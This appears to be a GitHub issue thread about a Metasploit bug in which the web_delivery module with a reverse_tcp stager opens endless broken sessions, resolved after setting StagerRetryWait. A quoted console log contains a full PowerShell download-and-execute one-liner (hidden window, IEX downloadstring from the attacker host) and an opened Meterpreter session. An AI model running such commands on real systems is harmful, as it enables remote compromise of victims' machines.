Closed MRGEffitas closed 7 years ago
Interesting, thanks. I haven't managed to reproduce this yet, though I'm also not using a hostname for my LHOST, but rather an IP address. Could this be a DNS resolution issue with the reverse_tcp stager? Is this a scenario that worked with a previous version? Have you tried windows/meterpreter_reverse_tcp instead?
msf exploit(web_delivery) > [*] Using URL: http://192.168.56.1:8080/xnZeDVG3Wlu0B
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $f=new-object net.webclient;$f.proxy=[Net.WebRequest]::GetSystemWebProxy();$f.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $f.downloadstring('http://192.168.56.1:8080/xnZeDVG3Wlu0B');
[*] 192.168.56.102 web_delivery - Delivering Payload
[*] Sending stage (179267 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:49806) at 2017-11-28 11:30:57 -0600
msf exploit(web_delivery) > sessions -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-K2I1LJF
OS : Windows 10 (Build 16299).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Yesterday, I tried this like 5 times, same thing happened (I closed msfconsole every time).
Today, while trying reverse_http, I got the following error out of the blue. I never played with this StagerRetryWait before:
msf exploit(web_delivery) > exploit -j
[-] Exploit failed: The following options failed to validate: StagerRetryWait.
[*] Exploit completed, but no session was created.
After setting StagerRetryWait, I cannot reproduce the issue anymore. I think it is OK to close the issue, thank you for your help.
Steps to reproduce
Expected behavior
One Meterpreter session opens.
Current behavior
Infinite number of sessions start, but none of them work. Tried with reverse_http and reverse_http works.
framework.log:
System stuff
Metasploit version
I installed Metasploit with:
PTF
OS
Ubuntu 14.04.3 LTS